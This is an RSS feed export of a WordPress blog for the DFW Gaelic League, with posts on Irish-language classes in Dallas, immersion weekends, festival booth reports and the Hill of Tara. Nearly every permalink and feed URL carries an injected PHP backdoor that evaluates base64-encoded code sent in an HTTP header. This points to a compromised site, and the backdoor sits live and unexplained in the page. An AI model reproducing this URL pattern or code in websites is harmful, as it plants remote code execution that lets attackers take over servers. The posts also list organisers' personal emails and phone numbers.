DFW Gaelic League http://www.dfwgaelicleague.com/cms Conradh na Gaeilge, Craobh Chairdeas Mon, 07 Mar 2011 21:06:10 +0000 http://wordpress.org/?v=2.3.3 en Failte! http://www.dfwgaelicleague.com/cms/2011/03/07/failte/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dfwgaelicleague.com/cms/2011/03/07/failte/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 07 Mar 2011 17:04:08 +0000 wolfhound http://www.dfwgaelicleague.com/cms/2011/03/07/failte/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Hello to anyone stopping by after visiting our booth at the 2011 North Texas Irish Festival.

We will be starting a new section of free beginners’ classes this Saturday, March 12 at 3:00 pm at the Paperbacks Plus Bookstore in Dallas. Paperbacks Plus is located at 6115 La Vista Drive, around the block from Molly Maguire’s Pub (formerly the Tipperary Inn). That’s on Skillman about a mile or two south of Mockingbird.

This is also the date of this year’s Greenville Avenue St. Patrick’s Day parade, which means that traffic will be fairly congested for much of the morning and early afternoon. If you take Northwest Highway to Skillman and come south, or follow Live Oak north to Skillman, you should be able to avoid most of the problem areas.

If you’re interested in getting a jump-start on Irish there is an interesting introduction to Irish pronunciation and basic grammar rules at http://www.irishgaelictranslator.com/wombat/

Our Immersion Weekend is coming up on April 30! Contact Sean McGuire jmcguire2156@hotmail.com for payment info or to send via paypal.

Courtyard Marriott - John Q. Hammons Center, Allen TX (see our Calendar for a Google Maps link)
Saturday April 30th, 2011 9:00am – 5:00pm
Breakfast and Lunch included for all attendees!
$45 Half Day/$85 Full Day
Beginner, Intermediate and Advanced Classes by native speakers.

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Want to LEARN IRISH ?

Come for an exciting weekend-long Irish experience! Presented by the DFW Gaelic League with the support of Daltaí na Gaeilge

Collin County Community College
Spring Creek Campus in Plano, Texas

Friday Evening April 23, 2010 thru Saturday Evening, April 24, 2010 with Dinner and Céilí at Trinity Hall in Allen

Saturday April 24
Beginner, Intermediate and Advanced Classes
Class Fee $90, Dinner $18

Guest Instructors
Hilary Mhic Suibhne, lecturer
New York University Irish Studies Program

Maitiú Tulley, native of County Monaghan, Ireland

Other Guest Instructor to be named

For additional Information contact John McGuire jmcguire2156@hotmail.com

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    Where: Collin County College Spring Creek Campus & Trinity Hall
    What: 2 levels of Irish language instruction (Beginning & Intermediate - Levels may be adjusted depending on participants)

    Instructors:
    John Gleeson, University of Milwaukee (Dublin Ireland native)
    Brían Ó Broin, William Paterson University (Galway Ireland native)

    Classes on Fri April 24th 7:30pm-10pm Spring Creek Campus
    Classes on Sat April 25th 10am-5pm Spring Creek Campus
    Dinner and Céili 6:30pm - Close at Trinity Hall

    Cost: $90 (Includes Classes on Fri-Sat, Dinner and Céilí on Saturday night)

    Email John McGuire to register jmcguire2156@hotmail.com
    Registration Deadline: March 30 (sign up early to be guaranteed a spot in class)

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    ]]>     http://www.dfwgaelicleague.com/cms/2008/09/22/2009-immersion-weekend/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Class Structure Change http://www.dfwgaelicleague.com/cms/2008/07/16/class-structure-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dfwgaelicleague.com/cms/2008/07/16/class-structure-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 16 Jul 2008 14:15:48 +0000 wolfhound http://www.dfwgaelicleague.com/cms/?p=50 Starting Saturday, July 19 we will be changing the format of the Irish Study Group meeting to add an hour-long class for beginners and for students who would like a refresher course on topics we have been covering the past few months. 
     
    Here’s the new schedule:
     
    2-3 pm  Progress In Irish, Section 1 (Chapters 1-17) with an introduction to Irish conversation as time permits
     
    3-5 pm  Progress In Irish, Section 2 (Chapters 18-36) with Irish conversation and/or readings at the discretion of the instructor
     
    All classes are free, and will be held in the upstairs conference room of the Paperbacks Plus Bookstore, 6115 La Vista Lane, Dallas, Texas.  Everyone is free to come and go as they please; you can attend one hour, any two hours, or all three hours of class if you wish.
     
    You may purchase a copy of the Progress In Irish book if you wish for $20, but copies of each week’s lesson will be provided for free.
     
    For additional information, contact Ted Strain by email: ted256@aol.com or phone: 214-244-5205

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    Hampton Inn, Allen TX, Stacy Rd and 75 (next to Allen Premium Outlet Stores)
    If you’re coming in from out of town mention the DFW Gaelic League Irish
    Language Class and get a special rate.
    Google Maps Link

    When:
    Friday April 18th - 6:30 -9pm (Class actually begins at 7pm)
    Saturday April 19th 10am - 5pm (More detail below)

    Teacher:
    John Gleeson - A Native Dubliner now teaching at University of Milwaukee
    John has taught at numerous Immersion Weekends and also teaches during the
    summer at Oideas Gael in Donegal.

    What:
    Primary focus is on conversational skills, while including new vocabulary,
    background info and some grammar.
    Specific content will be modified based on the proficiency level of
    attendees.

    Cost: $75.00 (Please submit payment to John McGuire by April 4th to secure
    your place in class)

    Class size: Maximum 15 people

    General class agenda:
    Friday:
    6:30 -7:00pm Arrive and get situated in classroom - Coffee, Tea and Water
    will be provided throughout the weekend.
    7:00 - 9:00pm - Introductions, assessing the groups level, Instruction
    begins and continues until 9pm (There will be a short break somewhere in
    here)

    Saturday:
    10:00am - Noon - Morning Classroom session (With a short break in the
    middle)
    Noon - 1:30pm - Lunch Break (I’m checking into an optional in classroom
    lunch for those interested, otherwise you are on your own, plenty of nearby
    restaurants are available)
    1:30 - 4:30pm - Afternoon Classroom session (With a short break in the
    middle)
    4:30 - 5:00pm - Summary of the weekend, where to go from here, open
    questions/answers

    After class some people have expressed interest in a Céilí, others have
    expressed interest in traveling to their favorite Pub for Music, drinks and
    craic. I’ll leave that up to everyone else to decide, but will pass on info about
    any organized activities as they develop. :)

    The main goal is to improve your Irish and have fun doing it.

    Feel free to contact me for more information by email
    jmcguire2156@hotmail.com or phone 214.676.3282

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    If you’re familiar with ancient Irish history and legend, you’ve heard of the Hill of Tara, in County Meath.  If you’ve lived in or spent much time in Ireland, you have probably been there.  This past January, I visited Tara for the first time — and I can honestly say it is the most amazing place I have ever been.  The number of counties visible from the summit depends on who you ask, but standing there among the mounds and the trenches, it certainly feels as though you can see half of Ireland.  To the east is nearby Skryne, where King Cormac was said to have been banished after losing his eye. Between Skryne and Tara lies the legendary Gabhra Valley, significant in its own right in ancient Irish texts and mythology.  The view over the valley is truly breathtaking. 

    Unless things change, that view will soon be very different.  As I write this, a huge floodlit motorway, the M3, is being built through the middle of the Gabhra Valley, irreparably damaging dozens of archaeological sites and permanently dividing the ancient landscape. 

    (more…)

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    First of all, many, many thanks to everyone that came out to help out in the booth; Marcella, Ted, Seán, Séamus, Jeff, Jay and everyone from class that came by to check on us and visit.

    Extra special thanks to the Cór Gaeilge Texais, who sent folks interested in Irish across the aisle (and likewise we sent folks interested in Scottish Gaelic across to them). It was a great collaboration to promote the languages we all love, and get the information to the folks that were interested. Also, the Cór’s booth won the Best Cultural Booth Award from the Festival for the 2nd year running! Comhghairdeas!

    The “after action report” follows: 

    1. We handed out 100 flyers on Saturday (and ran out) and 50 more on Sunday (and ran out) and got almost 100 sign-ups, not to mention talking about Irish, Ireland, and the classes and the group to lots and lots of folks.
    2. The 2008 NTIF set a new record for attendance (somewhere around 50,000) so we got to see some of that in booth traffic.
    3. There was quite a bit of interest in language classes in the Forth Worth area, and some for North Dallas.  
    4. We had several youths (teens) come up that were learning, or trying to learn Irish from the internet. They were using various resources, including YouTube. Maybe we should record our classes? Jeff could be the next Internet phenomenon… “numa numa” as Gaeilge? 
    5. We’ll be working on some “booth bling” for next year, mainly a nice sign. On Friday we had no sign and folks just walked by, on Saturday we went by Kinkos-FedEx and just printed out a simple black-and-white one with “Irish Language Education” printed on it, and it made a huge difference.  
    6. More flyers next year!
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    ]]>     http://www.dfwgaelicleague.com/cms/2008/02/05/2008-immersion-weekend/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     2008 North Texas Irish Festival http://www.dfwgaelicleague.com/cms/2008/01/31/2008-north-texas-irish-festival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dfwgaelicleague.com/cms/2008/01/31/2008-north-texas-irish-festival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 31 Jan 2008 23:22:50 +0000 wolfhound http://www.dfwgaelicleague.com/cms/?p=44 We will be getting a booth and featuring an ad in this year’s program.

    If you’d like to volunteer to help work the booth (and get a ticket at half price) contact us quick! We have to mail off the paperwork by Feb. 8th (it’s due the 12th). We’ve got one totally free exhibitor ticket left, whoever signs up for the most “slots” will get it as thanks.

     The easiest way to chime in would be to register for a forum username (if you haven’t already) and post on this thread: 2008 NTIF Thread

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    For fun, a CafePress store was created to take advantage of the new logo. Some of our favorites include the “Got Irish?” bumper sticker and of course, shirts. Click the “Store” link up top or follow this link:

    http://www.cafepress.com/dfwgaelicleague

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